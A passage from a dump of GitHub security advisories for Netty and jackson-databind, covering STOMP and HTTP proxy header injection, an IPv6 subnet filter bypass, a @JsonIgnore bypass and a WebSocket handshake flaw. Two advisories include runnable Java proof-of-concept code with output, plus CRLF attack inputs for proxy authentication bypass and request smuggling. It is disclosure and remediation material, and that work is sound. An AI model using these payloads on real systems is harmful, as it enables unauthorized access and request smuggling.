}\n System.out.println();\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \\\n -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" StompConnectHeaderInjectionPoC.java\njava -cp \"$JARS:.\" StompConnectHeaderInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty STOMP CONNECT Header Injection PoC ===\n\n[TEST 1] CONNECT Header Value Injection\n-----------------------------------------\nInput passcode: \"password\\nadmin-role:true\"\n\nEncoded STOMP frame:\n---\n CONNECT\n host:localhost\n accept-version:1.2\n login:user\n passcode:password\n admin-role:true \u003c-- INJECTED HEADER\n\n \\0\n---\n\nInjected \u0027admin-role\u0027 appears as separate header: true\nVULNERABLE: YES - Header injection in CONNECT frame!\nExpected headers: 4 (host, accept-version, login, passcode)\nActual headers: 5\n\n[TEST 2] CONNECT vs SEND Escape Comparison\n--------------------------------------------\nCONNECT frame with custom=\"value\\ninjected:evil\":\n Encoded: CONNECT\\nhost:localhost\\ncustom:value\\ninjected:evil\\n\\n\\0\n Raw \\n in output: true\n VULNERABLE: YES\n\nSEND frame with custom=\"value\\ninjected:evil\":\n Encoded: SEND\\ndestination:/queue/test\\ncustom:value\\ninjected\\cevil\\n\\n\\0\n Escaped \\n: true\n Raw \\n: false\n SAFE: YES\n\n\n=== PoC Complete ===\n```\n\n### Key Observation\n\nThe PoC demonstrates a clear inconsistency:\n- **CONNECT** command: `\\n` is written **raw** \u2192 header injection succeeds\n- **SEND** command: `\\n` is escaped to `\\\\n` \u2192 header injection prevented\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Authentication** | Injected headers may bypass broker authentication logic |\n| **Authorization** | Role escalation via injected role/permission headers |\n| **Integrity** | Modification of connection parameters (host, version, etc.) |\n| **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |\n\n### Affected Brokers\n\nThis vulnerability affects any application using Netty\u0027s STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker\u0027s handling of unexpected headers:\n\n- **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins\n- **ActiveMQ**: May process custom headers for internal routing\n- **Custom Brokers**: Most likely to be affected if they trust all received headers\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate CONNECT Header Values (Recommended)\n\nAdd newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:\n\n```java\nprivate static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {\n StompCommand command = frame.command();\n ByteBufUtil.writeUtf8(buf, command.toString());\n buf.writeByte(StompConstants.LF);\n\n boolean shouldEscape = shouldEscape(command);\n for (Entry\u003cCharSequence, CharSequence\u003e entry : frame.headers()) {\n CharSequence headerKey = entry.getKey();\n CharSequence headerValue = entry.getValue();\n\n if (shouldEscape) {\n headerKey = escape(headerKey);\n headerValue = escape(headerValue);\n } else {\n // For CONNECT/CONNECTED: don\u0027t escape but REJECT newlines\n validateNoNewlines(headerKey, \"header name\");\n validateNoNewlines(headerValue, \"header value\");\n }\n\n ByteBufUtil.writeUtf8(buf, headerKey);\n buf.writeByte(StompConstants.COLON);\n ByteBufUtil.writeUtf8(buf, headerValue);\n buf.writeByte(StompConstants.LF);\n }\n buf.writeByte(StompConstants.LF);\n}\n\nprivate static void validateNoNewlines(CharSequence value, String type) {\n for (int i = 0; i \u003c value.length(); i++) {\n char c = value.charAt(i);\n if (c == \u0027\\n\u0027 || c == \u0027\\r\u0027) {\n throw new IllegalArgumentException(\n \"STOMP CONNECT \" + type + \" contains illegal newline at index \" + i);\n }\n }\n}\n```\n\n### Option 2: Apply Escaping to All Commands\n\nSimply remove the CONNECT/CONNECTED exception:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n return true; // Always escape\n}\n```\n\nNote: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.\n\n## 9. References\n\n- [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html)\n- [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)",
"id": "GHSA-3g8r-4pfx-jmfh",
"modified": "2026-07-22T21:52:28Z",
"published": "2026-07-22T21:52:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: STOMP CONNECT Frame Header Injection in Netty"
}
GHSA-3PJW-73GF-8QR5
Vulnerability from github – Published: 2026-07-21 19:33 – Updated: 2026-07-21 19:33Summary
For Java Records, POJOPropertiesCollector._removeUnwantedIgnorals() records a @JsonIgnore-annotated component under its original implicit name before _renameUsing() applies the PropertyNamingStrategy. After the rename, _ignoredPropertyNames still holds only the pre-rename name, so _ignorableProps is built from the stale key. The renamed JSON key passes IgnorePropertiesUtil.shouldIgnore() and is assigned to the Record's constructor parameter, defeating the @JsonIgnore.
Impact
A Record using a naming strategy that relies on @JsonIgnore to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client).
Affected / Patched (verified via git tag --contains)
- 2.15-2.18 line:
>= 2.15.0, < 2.18.8-> fixed in 2.18.8 (backportc7c6783) - 2.19-2.21 line:
>= 2.19.0, < 2.21.4-> fixed in 2.21.4 - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4 (#5974,baa2cdf)
Severity / CWE
Maintainer: minor. Reporter: Moderate. CWE-915; related CWE-345.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.15.0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59888"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:33:06Z",
"nvd_published_at": "2026-07-14T17:17:15Z",
"severity": "MODERATE"
},
"details": "## Summary\nFor Java Records, `POJOPropertiesCollector._removeUnwantedIgnorals()` records a `@JsonIgnore`-annotated component under its original implicit name before `_renameUsing()` applies the `PropertyNamingStrategy`. After the rename, `_ignoredPropertyNames` still holds only the pre-rename name, so `_ignorableProps` is built from the stale key. The renamed JSON key passes `IgnorePropertiesUtil.shouldIgnore()` and is assigned to the Record\u0027s constructor parameter, defeating the `@JsonIgnore`.\n\n## Impact\nA Record using a naming strategy that relies on `@JsonIgnore` to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client).\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.15-2.18 line: `\u003e= 2.15.0, \u003c 2.18.8` -\u003e fixed in **2.18.8** (backport `c7c6783`)\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4** (#5974, `baa2cdf`)\n\n## Severity / CWE\nMaintainer: minor. Reporter: Moderate. CWE-915; related CWE-345.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-3pjw-73gf-8qr5",
"modified": "2026-07-21T19:33:06Z",
"published": "2026-07-21T19:33:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-3pjw-73gf-8qr5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59888"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5974"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/baa2cdf5ca2b2717fbb88d91955d69d8651df3e4"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/c7c678360624da5bc7eed2152789fa522880db9d"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind: @JsonIgnore on a Record property is bypassed with a PropertyNamingStrategy"
}
GHSA-3QP7-7MW8-WX86
Vulnerability from github – Published: 2026-06-08 19:00 – Updated: 2026-06-12 19:27Summary
An attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions.
Details
io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress) method performs a bitwise AND between the incoming IP address and the configured networkAddress, instead of the subnetMask.
Impact
Access Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44249"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-697"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T19:00:33Z",
"nvd_published_at": "2026-06-11T22:16:56Z",
"severity": "HIGH"
},
"details": "### Summary\nAn attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions.\n\n### Details\n`io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)` method performs a bitwise AND between the incoming IP address and the configured networkAddress, instead of the subnetMask.\n\n### Impact\nAccess Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.",
"id": "GHSA-3qp7-7mw8-wx86",
"modified": "2026-06-12T19:27:07Z",
"published": "2026-06-08T19:00:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3qp7-7mw8-wx86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44249"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty has an IPv6 Subnet Filter Bypass via Incorrect Comparator Masking"
}
GHSA-45Q3-82M4-75JR
Vulnerability from github – Published: 2026-05-07 00:11 – Updated: 2026-05-14 20:40Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions) |
| Component | io.netty.handler.proxy.HttpProxyHandler |
| Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| Impact | HTTP Header Injection in CONNECT Proxy Requests |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
io.netty.handler.proxy.HttpProxyHandler—newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
8. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42578"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:11:40Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "LOW"
},
"details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n // ...\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false); // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n if (authorization != null) {\n req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n }\n\n if (outboundHeaders != null) {\n req.headers().add(outboundHeaders); // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n }\n\n return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput); // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4= \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n public static void main(String[] args) {\n System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false);\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n \"target.com:443\",\n io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n // Inject CRLF in header value\n String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n req.headers().set(\"X-Forwarded-For\", malicious);\n\n // Encode to wire format\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n ch.writeOutbound(req);\n ByteBuf out = ch.readOutbound();\n String encoded = out.toString(StandardCharsets.UTF_8);\n out.release();\n ch.finishAndReleaseAll();\n\n System.out.println(\"Wire format:\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n System.out.println(\"VULNERABLE: \" +\n (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n Header accepted: YES (validation disabled!)\n Wire format:\n CONNECT target.com:443 HTTP/1.1\\r\n host: target.com:443\\r\n X-Forwarded-For: 1.2.3.4\\r\n X-Forwarded-For: 127.0.0.1\\r \u003c-- INJECTED\n X-Admin: true\\r \u003c-- INJECTED\n \\r\n\n Injected X-Admin header in wire: true\n VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n With validation=true:\n SAFE: Rejected - IllegalArgumentException\n With validation=false:\n VULNERABLE: Accepted CRLF in header value!\n Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n HttpUtil.validateHeaderValue(entry.getValue());\n }\n req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
"id": "GHSA-45q3-82m4-75jr",
"modified": "2026-05-14T20:40:54Z",
"published": "2026-05-07T00:11:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}
GHSA-4MP9-239F-G9HG
Vulnerability from github – Published: 2026-07-22 21:48 – Updated: 2026-07-22 21:48Summary
An attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending Sec-WebSocket-Version: 7 and omitting Connection: Upgrade / Upgrade: websocket headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
